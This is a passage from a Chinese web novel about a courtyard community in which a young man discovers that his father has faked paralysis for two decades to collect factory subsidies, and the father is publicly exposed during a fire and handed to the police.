到了下班见大头还是不乐意理人。干脆跟值班的人说了下，把大头留在了这里过一晚。 她自己倒是回了趟家里，从家里带了些吃的给大头。 现在，秦艳回到家里也在纠结到底出了什么事情。她想去找白兰拿个主意。看看是不是哪里出问题了。 而大头这边留在回收站值班室，脑袋也想了一天了。也没想出个所以然来。他是彻底不知道了，不知道这个世界是不是疯了。 第65章 第65章垃圾一个 这个世界可能没疯，但白兰觉得大头快要疯了。看着眼前神色狰狞的大头，白兰第一次发现自己居然不知道该说什么好。她转头看向许建北，示意对方说点什么，好让大头能把这口憋着的气发出来。 许建北自从听完大头的话后，眉头就没有放开过。这会儿见媳妇儿这表情，深深叹了口气。先把她扶着坐下来，让她注意身体情况。接着对已经濒临崩溃的大头道： “安慰你的话我就不说了。这些话现在说没有任何意义。大头，我们就想知道，接下来你准备怎么做？” 秦艳在边上听到许建北的话，也紧张地跟着点头。她也不知道该怎么安慰大头好了。谁遇上这种事情，怕都要疯了。结果大头居然忍了大半天。要不是自己实在怕他出事，最后把许建北跟白兰一起喊道了回收站。也不会知道事情居然是这样让人难以接受。 大头的脑袋从白天开始就是胀的。刚说出了自己的发现后，脑袋就一直嗡嗡响个不停。现在听到许建北的话，他脑袋的杂音好像消息了一瞬。随即，他的眼球开始出现了红血丝，拳头攥得死紧，紧到血丝都渗透了出来。牙根也咬得咔咔作响。 但面对好友们关切的目光，大头最终说道：“我也不知道该怎么办！” 是啊，谁遇到他的事儿，估计都不会知道要怎么办？ 谁能想到，自家那个瘫痪了快二十年的亲爹，居然是会走路的。 是的，他爸宁疙瘩是会走路，并不是个摊子。想到在门口看到的那一幕，大头再次攥紧了拳头。 说他爸会走路不算准确，准确来说，他看到这个该死的男人，躺在木板床上听着广播磕着瓜子。然后不小心把桌面的搪瓷杯掉地上，咕噜噜滚到了远一点的地方。 大头那会儿看到这样，还想立刻进去帮忙把搪瓷杯捡起来。结果下一秒就看到这个男人，仿佛遇上了什么医学奇迹，直接挪动双腿坐了起来。然后还走了两步。虽然步伐不平稳，但那确确实实是走了两步路。 两步路过后，建起了搪瓷杯，重新蓄满了温水后。这个该死的人又躺回了那张木板床上。 整个过程听着好像挺久的，但其实也不过在眨眼睛就发生。快到大头都来不及做出反应，这个该死的人就躺了回去。 大头那会儿真想破开屋门，冲进去把他拉到地上，狠狠踹上好几脚。 但最后一刻，也不知道为什么，大头忍住了这股暴虐的情绪。他满脑子一团浆糊。想不明白到底为什么这种人居然是他爹，是他妈的丈夫。这种装瘫子的男人，根本不配活在世上。 这样一想，大头又有鲨人的冲动。 许建北看懂了他所有的情绪波动，他一个外人都觉得十分愤恨。更加不用说大头这个受害者了。 而且，不止大头，大头他妈也是另外一个受害者。这母子两人被拖累了将近二十年。像宁婶子，从怀孕那天起，就要照顾一个瘫子到现在。大头，从懂事起就要照顾一个瘫子到现在。 宁婶子最美好的年华就这样没了。大头最珍贵的童年也被毁了。 这样的人根本不配当人！ 怪不得一直不肯去看医生。合着这是装瘫子啊！ 白兰对这种行为简直无法想象。怎么会有人宁愿躺在床上二十年装瘫子呢？ 许建北这时候伸手拍了拍白兰的肩膀。随即语调平缓道：“大头，你现在要做的是冷静。冷静过后，要把事情的真相告诉你妈。之后要怎么处理这个事情，就要跟你妈商量。” 现在最重要的，是让宁婶子也知道事情的真相。之后要算账还是报复，这母子两人再商量。他们这些当朋友的，无条件支持大头。 大头这会儿总算有点缓过劲儿，见他们一个个眼神关切，伸手捂住眼睛，整个人都开始颤抖起来。 泪水顺着眼角开始滑落，压抑的哭声在狭小的值班室里响了起来。 白兰跟秦艳坐到了一起，跟许建北一起陪着大头。等他情绪彻底恢复过后，再进行下一步。 这一等直接就等到了晚上十点钟。 晚上十点钟，整个胡同都没了人影。大头这时候才算是真正地缓和了下来。他不再去抱怨什么，而是开口就说：“明天一早，麻烦你们把我妈带到这里来。” 秦艳一听立马抢先道：“可以，明天我早早蹲在前院等你妈。” 早点过来，回收站这里还没人上班。说话就不用顾忌太多。 “建北，虽然很麻烦。但是我想明天一早我跟我们商量好后。你这里能帮忙去纺织厂找厂领导。” 一听这话，许建北就猜到了大头的计划。他想也没想就点头。然后还问大头需不需要再找其他医生一起过去。 大头摇头：“我准备明天直接带厂领导过去，直接把那该死的混蛋炸一炸。看看他到底为什么装瘫子。” 见大头有了具体计划，白兰就没有插话。只心里琢磨着明天怕不是有一场硬仗要打。而且，宁婶子的为人白兰多少清楚。如果对方知道大头他爹是装的。怕不是要当场气死。 这样一想，白兰决定等明天也请假算了。她拉了拉许建北，示意对方也要做好准备。 许建北点点头，琢磨着明天叫了厂领导过来，他也不回去上班了。这个事儿要早点解决。不然大头这情绪怕是要崩了。 确定好这些过后，许建北就先送白兰跟秦艳回大杂院。安顿好白兰后，许建北又原路返回了回收站。 大头：“你不用管我了。我现在好多了。白兰这刚怀孩子，你不在身边怎么行。” 许建北过去伸手拍了拍对方的肩膀：“好歹你都喊我北哥这么多年了。你有事我能不在身边吗？” 这话一出，大头就没有再客气。而是跟许建北嘀嘀咕咕，说着小时候的那些趣事。仿佛这样，他就能让自己过得好一点。 短暂的夜晚就这样过去了。 许建北一直等到五点多，秦艳把宁婶 子拉过来后，他这才朝家里走去。一晚上都没怎么睡觉，许建北这会儿是真困。他想好了，待会儿去螺丝厂请个假。然后跑到隔壁纺织厂把厂领导喊过来了。再之后要怎么处理，就看大头母子两人了。 “这么早就过去啊！”许建北一回来，白兰立刻问道。 许建北：“嗯，秦艳这次十分积极。走之前我看了宁婶子的表情，估计不会太好。” 两人聊着大头母子，但也没再过去回收站那边瞧。这个事儿要给这对母子时间来商量。说实在，这种事情落在谁身上，都是无法想象的恶。 好在，能把厂领导喊过来。很多事儿，有了领导的出面，才会更加容易处理。 吃过早饭，大头母子两人依然没有回来。 许建北跟白兰交代了一声，脚步迅速朝厂区方向跑去。这一趟，不止要请纺织厂领导过来。还有给他们夫妻两请假，好随时关注事情的进展。 另一头的回收站，这个时候还不到上班时候，自然方便大头跟他妈说话。 宁婶子听完儿子的话，瞪大双眼仿佛被吓傻了一般，九九说不出话来。 好不容易缓过劲儿了，宁婶子颤抖地说：“不可能装的啊！当时出事的时候，跑了多少医院，看了多少医生。都说一辈子就这样了。” 大头看着她妈那极力想要反驳，但又愤怒又惶恐又难以置信的复杂表情。心中一片悲哀。 显然，她妈也意识到自己的话是正确的。 所以，他们的亲人宁疙瘩，就是垃圾一个。 第66章 第66章母子决定 “让我砍死他，砍死他。这样的人活着是个祸害，死了还省得拖累你！” 白兰人还没到回收站，就听到宁婶子歇斯底里的咒骂。边骂还边往大杂院这边走，一副要去跟人拼命的架势。唬得大头跟秦艳七手八脚把人给拦住。 “这……” 白兰看向许建北。对方眼眶下一片青黑，显然昨晚没怎么睡好。刚回到家里吃了个早饭，就跟自己出来看大头这边的情况。她有点心疼男人这样来回奔波。但大头家这个事儿，一个处理不好，怕真会闹出人命。 许建北伸手拍了拍她的手：“你别过去，小心伤到身体。我去劝两句，然后跑一趟纺织厂。” 周围的路上已经有了走动的人。看到这边的吵闹都好奇地张望了起来。白兰知道他们不能在这里耽搁。更加不好现在就把大头他爸的事儿爆出来。得把厂里领导请过去，一次过解决完事情。 大头他爸这样装病，到底装了多少年还要弄清楚。而且这样装病骗了单位将近二十年的各种补贴。这金额加起来肯定很大。这种行为在现在来说，肯定也是要抓去坐牢的。这可是占国家的便宜啊！ 那头，许建北也劝说了一通，见宁婶子总算知道要顾及大头的未来后，就先告辞往厂里跑去。 秦艳见这母子两人能好好说话了，也跑到白兰那，抱着她手臂小声说：“我看宁婶子真想把大头他爸给杀了。” 白兰想想大头跟宁婶子这些年过的日子，其实不难理解宁婶子的冲动。谁遇上这种事情不想鲨人才怪。 —— 一行四人心思各异，慢慢朝大杂院走去。 大杂院这边一如既往的热闹。大早上的，大伙儿不是在吃早饭就是在洗漱。整个院子都热热闹闹。 见到白兰、秦艳还有大头母子进来，纷纷好奇地看了过去。有人更是问他们怎么一大早从外头回来。 白兰打哈哈道：“这不是上公厕碰上吗？” 这借口也是没谁了。不过这年头这个借口挺好使的。听到是上公厕，大伙儿就立马收声了。 白兰往家里走之前，给大头使了个眼色。示意对方回到家里要冷静。再多的事儿，等厂领导来了再说。 其实这个事儿如果大头跟他妈都想隐瞒的话，是可以继续隐瞒下去的。或者他们一家三口商量好，再对外公布说大头他爸身体慢慢好起来。这样的话，可能很多事情会挺好处理的。 但是，如果就这样轻轻放过，那大头跟他妈这些年受的罪就是白受的了。 所以，母子两人都选择来个大公开。要把大头他爸那张虚伪的脸皮给彻底掀下来。 许建北这边效率特别快！ 白兰这边回到家里，凳子还没坐热了，他人就跑了回来。 苗大菊见状，好奇问：“你们两今天都不上班吗？” 许建北抹了把额头的汗水：“对，有点事儿请假。” 苗大菊不是个多嘴的，见两人要在家里，她就说今天中午做饭多做一点。 其他人家同样十分平静，没人发现宁家的事儿。吃过早饭，该上学的上学，该上班的上班。不一会儿，热闹的大杂院又变得安静下来。 白兰跟许建北坐在自家屋里，耳朵却竖起来，仔细听前院的动静。 不过前院这边并没有任何动静。大头跟他妈回到家里，见到那个十多年如一日躺在床板上的身影，纷纷攥紧了拳头。但母子两人商量好了，要再忍忍。不然正会上去把人揪住，质问他到底为什么要装瘫子。 宁疙瘩不知道儿子媳妇的心里活动。见两人一起回来，直接问大头：“你这是出车回来呢？怎么跟你妈碰上？” 大头装作没听到这声音，直接走到廊下捅开炉子，开始烧火煮热水。至于宁妈，直接扭头到橱柜，拿了面粉准备煮面疙瘩。当看到里头放着的几个鸡蛋后，她不像以前那样省着了。而是直接拿了四个鸡蛋出来。哗啦啦就打到盆里，再导入一碗白面，加水可以活起来。 宁疙瘩听到动静，知道是在做早饭，还美滋滋地等着吃好吃的。 不过直到面疙瘩汤煮好，宁疙瘩都没等来自己的吃食。反倒是大头母子两人，一人一大碗蹲在廊下会直接开吃。那香喷喷的麦香味，馋的宁疙瘩直流口水。 随即，他如同往日那样，开始锤床。试图引起这对母子的注意。但是，往日好用的手段，今天却一点用都没有。 反倒是他自个儿锤得手累，额头冒汗。想喝两口水，又发现水杯已经空了。 “小聪，给我倒水。” 大头把碗里最后一点汤一股脑倒进口中。伸手一抹，就拉着他妈往外头走。 今天，他们不准备再给垃圾当牛做马了。 母子两人就这样坐在胡同口那吹着穿堂风，等待着领导的到来。 而宁疙瘩在发现儿子跟媳妇不理会自己后，还没有意识到自己的秘密已经暴露了。他恨恨地用脚踢了踢床板。然后才冷静了下来。 开始疑惑这母子两人到底发哪门子神经。 隔壁邻居也听到了宁家的动静。毕竟宁疙瘩喊了好几声。知道他是个瘫子，邻居就过来瞧瞧到底是咋回事。 听说宁疙瘩要喝水，邻居好心地给他倒水。顺嘴问大头他妈哪儿去呢！ 宁疙瘩哪里知道，直接嚷嚷：“不知道。往日这婆娘出门都有交代一声。今天不知道为啥带着儿子就走了。” 就在两人说话的时候，外头胡同传来了动静。 邻居听到后，顾不得跟宁疙瘩说话，抬腿就朝外头跑去。 胡同外面这会儿正是热闹的时候。 那些个不用上班的大爷大妈婶子小媳妇，基本上这个点不是去买菜了，就是在胡同这边聚集起来补衣服聊天。 这不，厂长带着好几个人一出现，立马就被人认了出来。这大清早厂长跑到职工居住的胡同，是件相当稀奇的事儿。 大杂院这边也立马听到了万大妈嚷嚷：“哎哟，纺织厂的厂长朝咱这儿来了。不知道是来找谁的。” 白兰在屋里听到这动静，立马拉着许建北出来了。 “万大妈，是厂长来了吗？” 万大妈不知道白兰为啥问这个，只点头：“可不嘛！不止厂长，他还带了前头卫生所的医生，还有几 个穿干部装的人。也不知道是去谁家。哎哟，厂长亲自上门呢，肯定是件大事儿。” 可不就是大事儿嘛！ 白兰心中琢磨着宁家的事儿会怎么一个收场。左不过最后就是宁疙瘩被抓走。要说拖累大头的，估计就是他的名声坏了，大头这运输公司的临时司机工作，怕是会黄了。 想到这里，她叹了口气。准备跟许建北去前头看看。 就在这个时候，刚还在激动地跟旁人说着厂长来了的万大妈，忽然大声嚷嚷：“哎呀，哎哟。那是着火了不？” 听到着火两个字，院子里活动的几个人朝万大妈手指的方向看过去。一看真不得了。只见万家跟以前钱家，也就是白保卫现在居住的耳房后头，居然开始冒烟了。 这天气虽然入夏了，但还是很干燥的。这时候又没有靠谱的灭火方式。大杂院又是木质结构，这要是真着火了，真是很难救火的。 于是，不等万大妈嚷嚷完，已经有人从屋里冲了出来，要过去瞧瞧冒烟的地方。 许建北更是如临大敌，直接喊他妈出来。然后跟白兰道：“你跟妈先出去外头。我怕那火真烧起来。” 白兰庆幸这会儿娘家没人。拉着自家婆婆就往外头走，边走边喊着火啦，着火啦。 不过她人刚到大杂院门口，就碰上了厂长一行人。这些人刚跟大头母子两碰上，还没来得及说话。 第67章 第67章火灾下的暴露 空气中充满了木头燃烧的味道，到处是说话声跟咒骂声。已经有人开始往胡同外头跑。白兰跟许建北站在胡同口开阔的空地上，盯着大杂院的方向。 火势还不大，应该刚烧起来不久。已经有人去提水往后巷去。着火的地方是院墙的夹缝，灭火比较麻烦。加上这会儿不少人都去上班了，所以这灭火的人不多。 许建北见状，就想过去帮忙。 而那几位厂领导已经开始指挥在场的人动手，一起去提水灭火了。 就在这个时候，万大妈忽然嚷嚷：“哎哟，宁疙瘩他媳妇，你跟你儿子在这里。你家男人呢？” 宁婶子呵呵冷笑，她觉得今天老天爷都在帮自己。自己这头要把宁疙瘩这个垃圾的脸皮撕下来。还在这里等领导等了好久呢。结果领导一来，还不用她费事儿，那头大杂院就着火了。 平时遇到这种事情，她会跟着担心。但这会儿，宁婶子心里隐隐有种畅快。甚至，她还十分不道德地想，就等大火烧到眼前，看看宁疙瘩到底还装不装。 所以，万大妈这一声吆喝，立马就让她不爽起来。 正在指挥工作的厂领导听到万大妈的吆喝，想到今天过来的目的，一阵头疼。指着许建北就让他去救人。 白兰其实很想叫许建北别去。就看宁疙瘩是不是宁愿面对火焰的威胁，也不自己跑出来。但旁人不知道啊！ 不过，大头并没有让许建北为难。他直接站了出来：“厂长，不用。我爸不用人家救。火本来就不大，现在那么多人去灭火，一定很快就能灭的。而且，我爸自己就会走路，根本用不着人家救！” 前面一句话，大伙儿还想骂大头不孝。后一句一出，大伙儿瞬间傻眼了。 除了那些互相吆喝着救火的人外，其余人统统说不出话来。 好半晌，今天一直反常沉默的胡寡妇冷不丁道：“这不是真的吧！” 万大妈第一次赞同老对头的话，猛点头。 其余人也议论纷纷起来。都不相信大头的话。 试问，谁能装瘫子，一装就是将近二十年。没人信啊！有这个装瘫子的劲头，做啥不能成功啊！ 大头也不想相信，但事实就是这样让人难以置信。 而大头他妈宁婶子，更是直接道：“我儿子不会说谎的。这么多年来，那个该死的都是靠我儿子照顾的。谁都可能会说谎，但我儿子绝对不会。” “这……” 本来想冲进大杂院先把宁疙瘩抬出来的人，见到这个情况纷纷看向厂长。他们也不知道该不该去救人了。 这火应该是烧不到前院去的。但是，这会儿烟还挺大的。呆在大杂院里头铁定不舒服。 厂长能说啥？让他说别去抬人，真出事了他得负责。但宁疙瘩这事儿嘛，说起来特恶心人。一个男人搞这种事情，简直是活了几十年都没听说过的。 大头看出厂长的为难，立刻又拍着胸脯保证：“你们不要去，要是要追究责任，那就是我的责任。” 宁妈：“不，这是我挡着你们救人的。有事儿我扛着。我这辈子就这样被毁了。但我儿子不能再被那该死的垃圾拖累。” 气氛就这样僵持到这里。 在场的众人可能都有各自的想法，但这会儿还真没人为了宁疙瘩挺身而出。 —— 而宁疙瘩这边呢，这会儿正躺在那张破木板床上纠结。 他因为平时很少说话，加上早上喊人喊多了，喉咙这会儿又干又痒。被外头的烟一熏，更是咳嗽连连。求救是不可能求救的。 他耳边只能听到各种吆喝救火的声音，还有水龙头出水，水桶倒水的声音。甚至，从听到着火后开始，他听到的脚步声就从杂乱无章到最后的消影无踪。 在他眼前，除了越发增多的烟尘之外，居然没有任何动静。 这让宁疙瘩感觉到害怕。甚至不知道是不是心理作用还是大火已经烧到门口了。他越发觉得热了起来。额头的汗水咕噜咕噜滚落下来。 宁疙瘩咬牙切齿，不明白为什么平时宝贝自己的媳妇跟儿子不见踪影。大早上开始，这母子两人就不正常。他想不明白，但他知道不能在继续躲在屋里等死了。 是的，不知道为什么这场突如其来的火灾会带来这样大的烟尘。宁疙瘩透过窗户的玻璃，几乎看不清院子的情况。 视觉受损的情况下，人就开始自己吓自己。 耳边依然能听到救火的各种声音。但是前院这里已经没人了。胡同外是有人的，他能听到人走动跟说话声。 但是这些人，一个个都不来救自己。 宁疙瘩以为他们不知道自己在这里。随即抄起桌上的各种东西往地上砸。砸了一通，依然没人进来。反倒是他累得气喘吁吁。 多年没怎么动弹的身体，经不住一而再再而三的折腾。 甚至就在这个紧急的关头，外面有人在喊赶紧跑，赶紧跑。火越来越大了，再不跑就跑不了啦！ 喊声过后就是一阵阵急促的脚步声。 宁疙瘩一听，知道自己不能再等了。 他连滚带爬从那张破旧的木板床上翻了下来，随即手脚并用，抓着床沿站了起来。将近二十年没怎么使用的双腿是软趴趴的，光是支撑他走几步路就开始东歪西倒。 但是宁疙瘩不敢耽搁，他这辈子最惜命了。生怕自己真被这一场火给困住。 于是，他打开那对他来说变得相当沉重的屋门。捂着嘴巴，跌跌撞撞往院门那跑去。 当然，这个时候他也不忘往脑袋批了见破旧的衣服，生怕被人看到自己的脸。他想好了，外头的人怕火大已经跑了。他只要离开大杂院，躲在前头死胡同那。然后大喊着等人来救就好了。 人家要问他怎么到这儿来的，他只要说是从家里爬出来的就好了。 现在他也想爬，怕被人看到自己会走路。这是他这辈子最大的秘密，是要带进棺材里面的。可惜，浓烟让他失去了耐心，生怕再晚一步就要遭殃。 从他家门到大杂院的大门，也不过几米的距离。双腿无力的宁疙瘩，爆发了人类的潜能。虽然跌跌撞撞好歹走到了大门口。可惜，门槛上不知道哪个缺德鬼居然放了个砖头。 他一着急没注意到，人一个趔趄直接栽倒在地，直接把两颗门牙都给磕断了。 整个过程说起来很久，但其实就在几分钟内发生。 而本应该空空如也的胡同，这会儿挤满了人。这些人有大杂院的住户，也有周边的居民，更有听到风声，从其他胡同过来看热闹的。 这么多人，加起来几十双眼睛，把宁疙瘩走路的样子看了个清楚明白。就是浓烟也不能阻挡他们看到一个双腿直立走动的人影。 这会儿这个人影还摔倒在地，磕断了两颗门牙。 “哎哟，他真会走路啊！”胡寡妇冷不丁冒出了这么一句。随即万大妈开始附和。 周围安静的人群一个个都加入了这一场讨论。甚至不少人直接朝还在地上的宁疙瘩大声喊：“宁疙瘩，你这是好了？看得啥医生啊！瘫了二十年了，居然被火一吓就会走路！简直是医学奇迹。” 白兰看到这里，跟许建北对视一眼。夫妻两人都觉得今天这一场真是好戏。 不知道那场火是怎么起来的。但确实给宁疙瘩的出场带来了戏剧性的效果。在大庭广众之下，被迫走路的宁疙瘩，给了大伙儿一个最深刻的印象。 而且刚刚那些喊着赶紧跑的声音，都是在场的人在厂长的指挥下做出来的。 设了这么简单的一个局，直接把人给揪出来。这可真是…… —— 宁疙瘩在看到眼前这么多人后，脑中闪过两个字：完了…… 可不就是完了嘛！ 在众人议论纷纷的时候，宁婶子已经拨开人群，直接跳了出来。不由分说就朝地上的宁疙瘩砸过去。 操劳二十年，宁婶子其实特别瘦。身上的骨头都清晰可见。但她这一砸，直接把就把两个膝盖骨砸到宁疙瘩的背上。随即一阵惨叫声打破了众人的议论。 白兰看着这场景，直接打了个冷颤。 这一下不说能不能把宁疙瘩打残，痛是铁定十分痛的。 给了宁疙瘩这一下重锤，宁婶子并没有起来。反倒是就着压倒的动作，抓着宁疙瘩的脑袋就往地上砸。 砸的第一下把大伙儿都吓住了。 还是大头赶紧过去把人给拦住。 “别拦我，别拦我。今天我就打死这个畜生。” “妈，你忘了答应我的事情吗？不要再把精力浪费在这个垃圾上了。厂长在这里，有任何事情，厂长都能给我们做主。” 被吓了一跳的厂长连连点头：“对对对，我们过来就是要解决这个事情的。” 其他几个大妈也立马凑过去，帮着大头把宁婶子给拉开。没人在意挨了两记重锤的宁疙瘩。 厂长开始给宁婶子做工作，中心思想是砂仁偿命不值当。有任何委屈，厂里都会帮忙解决的。 白兰看到这里，有种松了口气的感觉。 最起码厂里的态度是坚决要处理宁疙瘩的。而不是和稀泥说宁疙瘩这是医学奇迹。 —— “说，你为什么装瘫子。” 安抚好宁婶子后，厂长一点面子都没给，直接就在胡同这里开始问宁疙瘩。 宁疙瘩刚被砸了腰，又被砸了脑袋，这会儿人还晕乎乎的。听到厂长的话后，开始装死。 这些年来装瘫子的经验多了，宁疙瘩可会装蒜了。 见他这副死样子，厂长不耐烦跟他啰嗦。喊秦艳她爸秦叔过来，直接就要把宁疙瘩往公安局送。 这装瘫子不违法，但是装瘫子骗厂里每个月的补贴，那就是大大的违法。 一听要去公安局，宁疙瘩这才大喊大叫起来：“不要，不要去公安局。我说，我说。厂长，我不是故意的，我不是故意的。我这是这几天才好的。以前没有骗人的。” 这话一出，真是路过的狗都不信。 这不，胡寡妇立马跳出来：“宁疙瘩，别装模作样了。前头你儿子还在劝你去看医生。你还说不去，看医生没用。现在看来确实没用。你这摊子都是装的，看什么医生都没用啊！” 白兰忍不住点头同意，觉得胡寡妇这么多年，也就这句话特别合听了。 不少人立马想起之前大头的那些动过。天天劝宁疙瘩去看医生。但一次次被拒绝。那时候，大伙儿都说宁疙瘩这当爹的有良心。知道治不好不让儿子去折腾。免得破财又受罪。 当时有多夸奖这个人，这会儿就有多打脸。 不少人朝他啐一口，要不是厂长在这，铁定要加上几脚的。 宁疙瘩见没人信自己，他干脆从地上坐起来。抱着晕乎乎的脑袋继续大喊：“真的，最近才好的。我还没来得及跟我家人说。” 还是没人信。 宁婶子更是大喊：“你不老实说，就是厂里不追究，我也要去公安局举报你。” 这话说得斩钉截铁，一听就知道是下了决心的。 厂长也没耐心跟宁疙瘩掰扯，事儿已经弄清楚了。也不用他来证明宁疙瘩会走路。他自己都在大伙儿面前走路了。干脆把人送公安算了。 这样一想，厂长就朝秦叔那边摆摆手，示意他直接把人送公安。 这下直接把宁疙瘩吓尿了。 不少人见状纷纷骂他是个孬种。有种装瘫子，这会儿却没种承认。 “不去见公安，不去，不去。我说，我说。” 这话一出，秦叔这才松手：“老实交代。别再耍花招。” 宁疙瘩懊恼地扒拉着脑袋：“我真的瘫过的。” 这话倒是真的。刚出事的时候，确实很多医生都检查过。不止北城，北城周边的医院也跑过。人是宁婶子背过去的，她一清二楚。 所以在知道宁疙瘩是会走路后，宁婶子才会那么痛恨。甭管对方什么时候恢复能走路的。但这一直装瘫子，那就是骗子。骗他们母子当牛做马。 宁婶子能忍受自己当牛做马，却不能让自己的儿子跟自己一个样。儿子都要二十了，还没个对象，不就是这个该死是垃圾害的吗？ 这样一想，她又朝宁疙瘩冲过去想要再打人。 但这次被大头给拦住了。 白兰真是看得有点紧张起来了。这宁疙瘩脑子到底是怎么想的。瘫了是悲剧，能恢复不是好事吗？怎么就继续装瘫子呢？ 这个疑问在场的人都有。都不能理解宁疙瘩到底是怎么想的。 而宁疙瘩这次学老实了，不敢耍花招。立马就说：“我是……” 他咬咬牙又不敢说真话，真说了怕真会被人打死。但在接触到周围人的眼神后，他知道糊弄不过去了。 宁疙瘩深吸一口气：“就是在十五年前就好了。” 一听这话，宁婶子忽然大哭了起来。 十五年前，她还二十出头，大头也还不到五岁。她的青春，儿子的童年，都被这个该死的垃圾给毁了。枉费她跟儿子这么多年辛辛苦苦照顾这样的烂人。 而这个回答，不止让宁婶子崩溃。在场的人一个个甭管是不是跟宁家有矛盾。这会儿一个个都唏嘘不已。 女人们直接就开骂，男人们抄起脚上的鞋子就砸到宁疙瘩的脑门上。 厂长也没阻止，让大伙儿发泄完，这才问宁疙瘩装瘫子的理由。 “理由？” 宁疙瘩表情古怪地看向厂长：“躺着就有吃有喝，厂里每个月还给发基本工资，这不好吗？” 厂长是个上进的人，第一次听到这样的理由，简直无法理解。 有些个二流子听到后，倒是有点理解宁疙瘩的选择了。躺在床上啥都不用干，就有媳妇儿子侍候。每个月还能领 到钱，好像真是件美事儿。 白兰听到这个答案，不知道该说啥好！ 就为了混吃混喝等死，居然装瘫子那么多年。白兰是很难理解的。她不是卷王，但也不会废到这个程度。 这个宁疙瘩已经算不得是个正常人了。这就是一个披着人皮的垃圾。 厂长朝秦叔点点头，示意对方可以把人给带走了。之后要怎么算账，就要看公安那边能不能问出新的东西。 宁疙瘩见自己被架起来，这才后知后觉地发现自己要被送公安了。 他双手被人架住，只能挪动双腿在地上蹦跶。那动作简直跟正常人没两样。白兰又想说他这是医学奇迹了。 出事后五年才恢复走路，那么就说明那五年，宁疙瘩被照顾得很好。而且他脊椎上的伤就是这样养好的。有时候人类的潜力很难说的。这种治愈的事情也不是没有。 厂长是带着人一起去公安局了，但边上看热闹的人一个都没走。都看向宁家母子两人，好奇他们之后要怎么办。 大头却不想理会众人，只想跟他妈找个地方好好休息，想想这些年的苦。然后看看要怎么再让宁疙瘩付出代价。 也有那么几个想劝一劝，说这是你亲爹。但这些人没开口，就被其他人给堵了回去。 总之，这一场轰轰烈烈抓宁疙瘩的事儿，暂时就告一段落。就看后续公安局那边能有什么进展了。 —— 这时候大杂院里头传来了扑灭大火的欢呼声。大伙儿也顾不上继续讨论宁疙瘩装瘫子的事情。纷纷涌进了大杂院，看看到底是怎么一回事。 白兰怀着孩子，自然不会去跟人挤。 她跟许建北走到最后，看着大头跟宁婶子母子两人进了他们家后。这才朝后院走去。 空气中的烟尘已经散了不少，起火的是西厢后面的夹道。救火及时，房子并没有被烧毁。但是，从院子这里看过去，能看到万大妈家跟白保卫住的地方，房顶都被熏黑了。 有人爬到屋顶，说夹道这里也被烧得黑黢黢的。 因为救火浇了水，也看不出到底是什么原因起的火。有人说可能是夹道的树叶起火，也有说可能是哪里烧炉子，有火星子引起的。 大家都不是专业的，这时候有没有专职的消防，所以大伙儿只是议论。 万大妈作为受害者之一，已经在那大声嚷嚷着倒霉，要找人负责。边嚷边冲进家里检查。因为救火的缘故，她家也被泼了不少水。 至于白保卫家，他早早出门上班去了。起火的时候，因为要往屋里倒水，房门的锁都被敲掉了。这会儿屋里也是一片湿漉漉的。 白兰让许建北进去看看有没有哪里需要收拾的。大方向收拾其他，具体要怎么弄就等她哥回来看了。 许建北进屋里大概十分钟就出来。 白兰看他眉头紧皱，立刻问：“出什么事情了吗？” 许建北摇头：“东西有点乱，不过可能是救火的人不小心弄到的。” 乱糟糟忙着救火，也不会有人去关注这些东西。这时候的人很少有偷鸡摸狗的，主要是被抓了代价更大。她哥家也没啥值钱的东西。 但是家里乱了，总是要弄明白的。 “你去街道办给厂里打个电话，把我大哥叫回来。” 许建北也是这样想的。这家里一乱，谁知道会不会被人偷了什么东西。 夫妻这边商量好，许建北就出去了。但院子这会儿却越发热闹起来。 有讨论起火原因的，也有在讨论这次火灾来得真及时。 “真的，虽然不厚道。但要不是这一场火灾，咱也不知道宁疙瘩居然装瘫子。” “可不嘛！真是活久见。听过装蒜的，没听过有人装瘫子的。图啥呢？躺着厂里发的那点补贴，也就是基本工资十多块。为了这么点，装瘫子快二十年。这宁疙瘩名字没起错，真是的榆木疙瘩。” 这时候的思想主流是奋斗，几乎没人能理解宁疙瘩。 而后世出现的躺平思想，也没人真像宁疙瘩这样“躺平”的。 所以，这么一个奇葩，真是让大伙儿开了眼。 就是可惜大头跟他妈，大伙儿都同情这对母子呢！ 白兰觉得宁婶子今天这样愤怒要鲨人的样子，估摸着一定不会就这样放过宁疙瘩。 大头家的情况白兰是知晓的。要不是这几个月大头在运输公司当临时工，基本上不可能有存款。 宁疙瘩被抓，后续铁定要退回这么多年厂里发的补贴。这些钱在这么多年，都花在宁疙瘩身上了。 所以，白兰其实比较担心。会不会这一笔最后又要宁家母子两承担。如果是的话，那他们母子也真倒霉。 就在这时候，许建北打电话回来了。白兰二话不说，就把自己的顾虑说了出来。 “厂长这人还挺负责的。可能不会这样处理。” 宁疙瘩这么多年的补贴，要怎么处理是个问题。但让大头母子两承担，那就太过分了。 “电话打了，哥说马上请假回来。” 说着，许建北把白兰扶到椅子上坐了下来。环顾整个后院，基本上除了西厢，确实没有哪家的屋子出事的。要今天家真被烧了，许建北他们还有螺丝厂的房子住。家里其他人就有点头疼了。 而这一场火到底是怎么起来的，反倒是许建北最想知道的了。 那头，万大妈还在那叫嚷着屋里都被大火熏黑了。而胡寡妇这个老对头则是在那幸灾乐祸地笑。 万大妈一听，气得立刻上去给她来了两爪子。一副要让胡寡妇好看的样子。 这一言不发就动手，饶是胡寡妇身经百战，也愣了愣。随即反应过来，这才疯了一样打回去。 这个走向是白兰没想到的。她嘴角抽了抽，觉得这两人刚在胡同那么默契挤兑宁疙瘩。这会儿又打起来，真是有点搞笑。 两个大妈闹出的动静很大，不少人又看起来热闹来。 这时候胡家的屋门被打开，白兰看到走出来的胡爱民，愣了愣。 “他今天不用上班吗？” 胡爱民是纺织厂的电工，这电工不像车间，没有所谓的三班倒。他们都是固定上下班时间的。 许建北也觉得胡爱民出现有点奇怪。不过想想这人的懒样，就摇头：“估计又想偷懒。” 胡爱民也是很懒的。靠着亲爹的死还有胡寡妇的胡搅蛮缠当了电工，但工作几年都没有一点上进。就知道这是个懒人。 这人估计能理解宁疙瘩装瘫子的做法。 白兰这时候忽然道：“不对，刚胡同那么多人，怎么没见到胡爱民。” 因为怀着孩子，白兰跟许建北在胡同的时候都是靠墙站的。所以，前头站了什么人，两人都有印象。还真没见到胡爱民的身影。而救火的人里头，也没见到胡爱民啊！ 因为这人又瘦又矮，根本提不起水攀到高处灭火。 “他不会是在火灾发生的时候，就在家里没出来吧！” 这是多不要命，才会在浓烟出现后都躲家里。就说宁疙瘩，守着那么大的秘密，不也在浓烟的威吓下，直接暴露了吗？ 